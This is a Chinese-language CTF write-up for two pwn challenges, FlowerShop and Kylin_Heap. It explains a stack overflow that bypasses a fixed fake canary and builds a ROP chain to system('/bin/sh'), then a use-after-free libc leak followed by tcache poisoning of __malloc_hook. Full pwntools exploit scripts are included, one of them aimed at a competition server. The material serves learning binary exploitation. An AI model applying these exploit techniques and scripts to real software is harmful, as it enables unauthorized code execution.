• 不太清楚这个比赛的题目附件能不能放出,所以就先不放出了

PWN

FlowerShop

  • 得到附件后先查看一下保护机制,只开启了NX保护

image-20240908150715800

  • 然后拖入IDA静态分析一下,先查看main函数里面的内容,发现有system函数。

image-20240908151005447

  • 注意到read使用read函数可以写入user_name0x3D字节,但是user_name只有0x34个字节,这边会存在一个栈溢出的情况。

image-20240908151149150

  • 现在先查看一下main函数的栈,发现user_money的栈地址比user_name栈地址更高,这样就可以栈溢出修改money的值,然后可以得到足够的money,还注意到在user_moneyuser_name直接存在一个src变量。通过上面的源码分析src类似于canary机制来防止栈溢出。但是这个Canary保护的值已经给泄露,该值就是pwn

image-20240908151436495

image-20240908151443831

  • 然后到shop函数,发现购买magic可以得到/bin/sh

image-20240908151741601

  • 之后发现check可以修改read可写的范围,满足条件后直接栈溢出,构造rop链

image-20240908151833761

image-20240908151840929

  • 然后就是写exp了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug')
p = process('./shop')
p = remote('8.147.131.74',20909)
a1 = '请输入购买的商品序号:\n'.encode('utf-8')
a2 = '你想要继续买花吗? 1/0\n'.encode('utf-8')
def shopp(choice,then):
p.sendlineafter(a1,choice.encode('utf-8'))
p.sendlineafter(a2,then.encode('utf-8'))

a = '请输入你的姓名:\n'.encode("utf-8")
c = '请输入你的选项:\n'.encode("utf-8")
ret = 0x4006f6
pop_rdi = 0x400f13
sys_addr = 0x400730
sh_addr = 0x601840
payload1 = b'A'*0x34 + b'pwn\x00' + p64(0x1000)
#gdb.attach(p)
p.sendlineafter(a,payload1,timeout=1)
payload1 = b'a'
p.sendlineafter(c,payload1,timeout=1)
shopp('a','1')
shopp('a','1')
shopp('c','1')
payload2 = b'a'*0x18 +p64(ret) +p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendlineafter(a1,b'b')
p.sendlineafter(a2,payload2)
p.interactive()

Kylin_Heap

  • 目前还是没办法复现,先贴个别人的wp,省得之后复现还要去找别人的wp,忘了这个exp的来源了
  • 学习了unlink之后,再来看这题别人写的wp,感觉就纯纯一个堆的模版题目,利用思路:UAF对unsorted_bin攻击泄露libc的地址,然后double_free去攻击teatche劫持malloc_hook
  • 先来复现一下UAF对unsorted_bin攻击泄露libc地址
  • 首先使用IDA打开该二进制文件,同时运行该程序,更好的知道程序运行的逻辑
  • 根据运行逻辑和菜单,可以得到符号表的大致操作

image-20241018171953373

  • 下面先分析add函数的逻辑
    • 允许用户申请指定1到1280字节大小的堆块,并且会把申请堆块的大小保存在qword_4060这个数组中
    • 然后malloc申请堆块
    • 向堆块输入内容,但是不存在溢出的情况
image-20241018172230194
  • delete函数的逻辑:free掉指定堆块,但是这里free后指针没有置0,存在UAF漏洞

image-20241018172416844

  • edit函数的逻辑,向堆块重新输入不大于申请过来大小的内容
image-20241018172936941
  • show函数,输出指定堆块里面的内容

image-20241018173028859

  • 这题没有堆溢出,所以不能利用off_by_one的方法来进行攻击,但是可以使用UAFdouble_free的方法来利用漏洞
  • 所以先使用UAF漏洞来泄露main_arena的地址,从而泄露libc的基址,泄露libc,这里要注意由于这是高版本的堆,存在tcache,所以如果申请0x100大小的堆不会像低版本那样会释放后放入unsorted_bin,所以要申请得更大一些,比如申请0x440
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = process('./Heap')
context(log_level='debug')
gdb.attach(p)
def add(size,context):
p.sendlineafter(b'adventurer?',b'1')
p.sendlineafter(b'1280 bytes):',str(size).encode('utf-8'))
p.sendlineafter(b'bytes):\n',context)

def free(index):
p.sendlineafter(b'adventurer?',b'2')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))

def edit(index,context):
p.sendlineafter(b'adventurer?',b'3')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))
p.sendlineafter(b'bytes):\n',context)

def show(index):
p.sendlineafter(b'adventurer?',b'4')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))

add(0x440,b'aaaa')
add(0x440,b'aaaa')
free(0)
show(0)
arena_addr = p.recvuntil(b'Revealing the contents of block [0]:\n')
arena_addr = p.recvline()[:-1]
print('arena_addr------>',arena_addr)
p.interactive()
  • 泄露出libc地址后,接下来就要使用double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = "debug"
context.terminal = ["wt.exe","wsl"]

libc = ELF("libc.so.6")
def get_p(file):
elf = ELF(file)
p = elf.process()
#p = remote("8.147.129.22",32449)
return p,elf

def debug():
pause()
gdb.attach(p)
sleep(2)

p,elf = get_p("./Heap")


'''
def xxx():
    p.sendlineafter()
    p.sendlineafter()
    p.sendlineafter()
'''


def add_heap(size,content):
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",str(size))
p.sendlineafter(b"bytes):\n",content)


def free_heap(idx):
p.sendlineafter(b"adventurer? ",b"2")
p.sendlineafter(b": ",str(idx))

def edit_heap(idx,content):
p.sendlineafter(b"adventurer? ",b"3")
p.sendlineafter(b": ",str(idx))
p.sendlineafter(b":\n",content)

def show_heap(idx):
p.sendlineafter(b"adventurer? ",b"4")
p.sendlineafter(b": ",str(idx))


add_heap(0x440,b"A") #chunk 0
add_heap(0x440,b"A") #chunk 1


free_heap(0)
show_heap(0)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x1ebbe0
log.success("libc =" + hex(libc.address))
malloc_hook = libc.sym["__malloc_hook"]

add_heap(0x10,b"A") #chunk 2
add_heap(0x10,b'A') #chunk 3

free_heap(2)
free_heap(3)

edit_heap(3,p64(malloc_hook))

one_gadgets = [0xe6c7e,0xe6c81,0xe6c84]
og = libc.address + one_gadgets[1]

add_heap(0x10,b"A")
add_heap(0x10,p64(og))

p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",b"10")
p.interactive()